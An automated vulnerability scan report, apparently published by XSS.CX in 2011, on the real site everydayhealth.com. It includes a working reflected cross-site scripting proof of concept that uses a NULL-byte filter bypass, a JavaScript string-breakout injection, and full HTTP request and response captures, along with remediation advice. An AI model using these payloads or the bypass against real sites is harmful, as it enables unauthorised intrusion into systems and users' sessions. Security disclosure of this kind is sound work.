XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, everydayhealth.com

Report generated by XSS.CX at Tue May 17 09:34:01 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

1. Cross-site scripting (reflected)

1.1. http://www.everydayhealth.com/ [name of an arbitrarily supplied request parameter]

1.2. http://www.everydayhealth.com/ads.htm [REST URL parameter 1]

2. Flash cross-domain policy

3. Referer-dependent response

4. Cookie scoped to parent domain

5. Cross-domain script include

6. Cookie without HttpOnly flag set

6.1. http://www.everydayhealth.com/

6.2. http://www.everydayhealth.com/ads.htm

7. Robots.txt file

8. HTML does not specify charset

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/ [name of an arbitrarily supplied request parameter]
/ads.htm [REST URL parameter 1]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.everydayhealth.com/ [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.everydayhealth.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00a7bfb"><script>alert(1)</script>3506107a3bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a7bfb"><script>alert(1)</script>3506107a3bd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /?%00a7bfb"><script>alert(1)</script>3506107a3bd=1 HTTP/1.1
Host: www.everydayhealth.com
Proxy-Connection: keep-alive
Referer: http://corporate.everydayhealth.com/index.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 17 May 2011 14:30:38 GMT
Server: Microsoft-IIS/6.0
ServerID: : USNJWWEB11
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=AcxLMNSCnFtlOTM0NWM2OC01YTg1LTRhZjUtOTY1OS02YzIwNjA3ZGNmZmY1; expires=Tue, 26-Jul-2011 01:10:38 GMT; path=/
Set-Cookie: ASP.NET_SessionId=eio5li25pl3vmw55bpwta12f; path=/; HttpOnly
Set-Cookie: ProductID=37; path=/
Set-Cookie: AOL_ReferrerList_37=%5b%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Thatsfit.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fLiving.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Parentdish.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Stylelist.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Kitchendaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Mydaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aolhealth.com%22%2c%22Value%22%3atrue%7d%5d; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Set-Cookie: SL_Audience=96|Accelerated|14|1|0;Expires=Thu, 16-May-13 14:31:41 GMT;Path=/;Domain=.everydayhealth.com
Set-Cookie: SL_UVId=28F7CD9D9864EA45;path=/;
Set-Cookie: SL_NV1=1|1;Expires=Thu, 19-May-11 02:31:41 GMT;Path=/;Domain=.everydayhealth.com
X-SL-CompState: Uncompiled
X-Strangeloop: ViewState,Compression
Content-Length: 72951

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">
<head id="Head1"><script id="slheadjs" type="text/javascript" err="true">__$1D0C = {
...[SNIP]...
<meta property="og:url" runat="server" id="fburl" content="http://www.everydayhealth.com/index.aspx?%00a7bfb"><script>alert(1)</script>3506107a3bd=1" />
...[SNIP]...

1.2. http://www.everydayhealth.com/ads.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.everydayhealth.com
Path:	/ads.htm

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b21a6'%3bbc125ce4efd was submitted in the REST URL parameter 1. This input was echoed as b21a6';bc125ce4efd in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ads.htmb21a6'%3bbc125ce4efd HTTP/1.1
Host: www.everydayhealth.com
Proxy-Connection: keep-alive
Referer: http://www.everydayhealth.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=AcxLMNLQscs5OTE0M2M1Mi01NWQ3LTQyZmQtOTNlMS03NWY1MDA5MTk5NmU1; ASP.NET_SessionId=qolrii45le3ga1451q3brrrd; ProductID=37; AOL_ReferrerList_37=%5b%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Thatsfit.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fLiving.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Parentdish.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Stylelist.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Kitchendaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Mydaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aolhealth.com%22%2c%22Value%22%3atrue%7d%5d; SL_Audience=737|Accelerated|53|1|0; SL_UVId=28F7CD9C196C0B59; SL_NV1=1|1; __utmz=104244948.1305642638.1.1.utmcsr=corporate.everydayhealth.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.aspx; __utma=104244948.844978898.1305642638.1305642638.1305642638.1; __utmc=104244948; __utmb=104244948.1.10.1305642638; ehUTC=-5

Response

HTTP/1.1 404 File Not Found
Date: Tue, 17 May 2011 14:30:56 GMT
Server: Microsoft-IIS/6.0
ServerID: : USNJWWEB11
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ProductID=37; path=/
Set-Cookie: AOL_ReferrerList_37=%5b%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Thatsfit.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fLiving.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Parentdish.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Stylelist.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Kitchendaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Mydaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aolhealth.com%22%2c%22Value%22%3atrue%7d%5d; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
X-Strangeloop: Compression
Content-Length: 17245

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<script> COMSCORE.beacon({ c1: 2, c2: '6035818', c3: '', c4: 'www.everydayhealth.com/ads.htmb21a6';bc125ce4efd', c5: '', c6: '', c15: ''});</script>
...[SNIP]...

2. Flash cross-domain policy previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.everydayhealth.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.everydayhealth.com

Response

HTTP/1.1 200 OK
ETag: "02df0bd51cc1:3644"
Accept-Ranges: bytes
Content-Length: 369
Date: Tue, 17 May 2011 14:30:35 GMT
Connection: close
Last-Modified: Fri, 22 Apr 2011 15:55:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/xml
ServerID: : USNJWWEB11

...<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-control permi
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

3. Referer-dependent response previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.everydayhealth.com
Path:	/

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET / HTTP/1.1
Host: www.everydayhealth.com
Proxy-Connection: keep-alive
Referer: http://corporate.everydayhealth.com/index.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Tue, 17 May 2011 14:30:35 GMT
Server: Microsoft-IIS/6.0
ServerID: : USNJWWEB11
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=AcxLMNLtTes4Y2ZhMzljZS0xYzY5LTRmYzktYjgyZi05ZThlZDcwNjQ2OGE1; expires=Tue, 26-Jul-2011 01:10:35 GMT; path=/
Set-Cookie: ASP.NET_SessionId=v0fqq455hisi0u55xusoqc45; path=/; HttpOnly
Set-Cookie: ProductID=37; path=/
Set-Cookie: AOL_ReferrerList_37=%5b%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Thatsfit.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fLiving.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Parentdish.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Stylelist.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Kitchendaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Mydaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aolhealth.com%22%2c%22Value%22%3atrue%7d%5d; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Set-Cookie: SL_Audience=700|Accelerated|575|1|0;Expires=Thu, 16-May-13 14:31:39 GMT;Path=/;Domain=.everydayhealth.com
Set-Cookie: SL_UVId=28F7CD9C32828122;path=/;
Set-Cookie: SL_NV1=1|1;Expires=Thu, 19-May-11 02:31:39 GMT;Path=/;Domain=.everydayhealth.com
X-SL-CompState: Uncompiled
X-Strangeloop: ViewState,Compression
Content-Length: 72831

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">
<head id="Head1"><script id="slheadjs" type="text/javascript" err="true">__$1D0C = { head: new Date(), stack: [] };</script><script>
__$1D3F = { deferred: [], deferScript: function(id, d) { __$1D3F.deferred.push( [id,d] ); }}</script><title>
Health Information, Resources, Tools & News Online - EverydayHealth.com
</title><meta id="tagDateModified" name="datemodified" content="2011/05/16 01:51" /><meta id="tagDescrip
...[SNIP]...

Request 2

GET / HTTP/1.1
Host: www.everydayhealth.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Tue, 17 May 2011 14:30:36 GMT
Server: Microsoft-IIS/6.0
ServerID: : USNJWWEB11
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=AcxLMNOua8NkMzFkNmJhMS1mYmM1LTRhZGMtOThiOC0wYjVmMmZmMWFlYTY1; expires=Tue, 26-Jul-2011 01:10:36 GMT; path=/
Set-Cookie: ASP.NET_SessionId=33xm4rz3qjz3lsymvhyikqek; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Set-Cookie: SL_Audience=277|Accelerated|481|1|0;Expires=Thu, 16-May-13 14:31:40 GMT;Path=/;Domain=.everydayhealth.com
Set-Cookie: SL_UVId=28F7CD9CDCB77769;path=/;
Set-Cookie: SL_NV1=1|1;Expires=Thu, 19-May-11 02:31:40 GMT;Path=/;Domain=.everydayhealth.com
X-SL-CompState: Uncompiled
X-Strangeloop: ViewState,Compression
Content-Length: 72839

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">
<head id="Head1"><script id="slheadjs" type="text/javascript" err="true">__$1D0C = { head: new Date(), stack: [] };</script><script>
__$1D3F = { deferred: [], deferScript: function(id, d) { __$1D3F.deferred.push( [id,d] ); }}</script><title>
Health Information, Resources, Tools & News Online - EverydayHealth.com
</title><meta id="tagDateModified" name="datemodified" content="2011/05/16 01:51" /><meta id="tagDescription" name="description" content="Health resources and personalized health tools. Information and news on depression, digestive health, diabetes, breast cancer, cardiovascular health, and much more." /><meta id="tagKeywords" name="keywords" content="health resources, health information, health tools, health news" />
<meta property="og:title" content="Health Information, Resources, Tools & News Online - EverydayHealth.com"/>
<meta property="og:description" runat="server" id="fbdescription" content="Health resources and personalized health tools. Information and news on depression, digestive health, diabetes, breast cancer, cardiovascular health, and much more." >
<meta property="og:type" content="article" />
<meta property="og:image" content="http://images.agoramedia.com/everydayhealth/gcms/logo_eh_50x50.gif" />
<meta pro
...[SNIP]...

4. Cookie scoped to parent domain previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.everydayhealth.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SL_Audience=700|Accelerated|575|1|0;Expires=Thu, 16-May-13 14:31:39 GMT;Path=/;Domain=.everydayhealth.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

Response

5. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.everydayhealth.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://tracking.waterfrontmedia.com/GCScript.ashx?p=37

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

Response

HTTP/1.1 200 OK
Date: Tue, 17 May 2011 14:30:35 GMT
Server: Microsoft-IIS/6.0
ServerID: : USNJWWEB11
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=AcxLMNLtTes4Y2ZhMzljZS0xYzY5LTRmYzktYjgyZi05ZThlZDcwNjQ2OGE1; expires=Tue, 26-Jul-2011 01:10:35 GMT; path=/
Set-Cookie: ASP.NET_SessionId=v0fqq455hisi0u55xusoqc45; path=/; HttpOnly
Set-Cookie: ProductID=37; path=/
Set-Cookie: AOL_ReferrerList_37=%5b%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Thatsfit.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fLiving.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Parentdish.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Stylelist.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Kitchendaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Mydaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aolhealth.com%22%2c%22Value%22%3atrue%7d%5d; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Set-Cookie: SL_Audience=700|Accelerated|575|1|0;Expires=Thu, 16-May-13 14:31:39 GMT;Path=/;Domain=.everydayhealth.com
Set-Cookie: SL_UVId=28F7CD9C32828122;path=/;
Set-Cookie: SL_NV1=1|1;Expires=Thu, 19-May-11 02:31:39 GMT;Path=/;Domain=.everydayhealth.com
X-SL-CompState: Uncompiled
X-Strangeloop: ViewState,Compression
Content-Length: 72831

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">
<head id="Head1"><script id="slheadjs" type="text/javascript" err="true">__$1D0C = {
...[SNIP]...
<meta property="og:url" runat="server" id="fburl" content="http://www.everydayhealth.com/index.aspx" />

<script type="text/javascript" src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
<script language="javascript" type="text/javascript" src='http://tracking.waterfrontmedia.com/GCScript.ashx?p=37'></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...

<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

6. Cookie without HttpOnly flag set previous next
There are 2 instances of this issue:

/
/ads.htm

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

6.1. http://www.everydayhealth.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.everydayhealth.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

.ASPXANONYMOUS=AcxLMNLtTes4Y2ZhMzljZS0xYzY5LTRmYzktYjgyZi05ZThlZDcwNjQ2OGE1; expires=Tue, 26-Jul-2011 01:10:35 GMT; path=/
AOL_ReferrerList_37=%5b%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Thatsfit.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fLiving.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Parentdish.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Stylelist.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Kitchendaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Mydaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aolhealth.com%22%2c%22Value%22%3atrue%7d%5d; path=/
SL_Audience=700|Accelerated|575|1|0;Expires=Thu, 16-May-13 14:31:39 GMT;Path=/;Domain=.everydayhealth.com
SL_UVId=28F7CD9C32828122;path=/;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

6.2. http://www.everydayhealth.com/ads.htm previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.everydayhealth.com
Path:	/ads.htm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SL_UVId=28F7CD9C196C0B59;path=/;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ads.htm HTTP/1.1
Host: www.everydayhealth.com
Proxy-Connection: keep-alive
Referer: http://www.everydayhealth.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
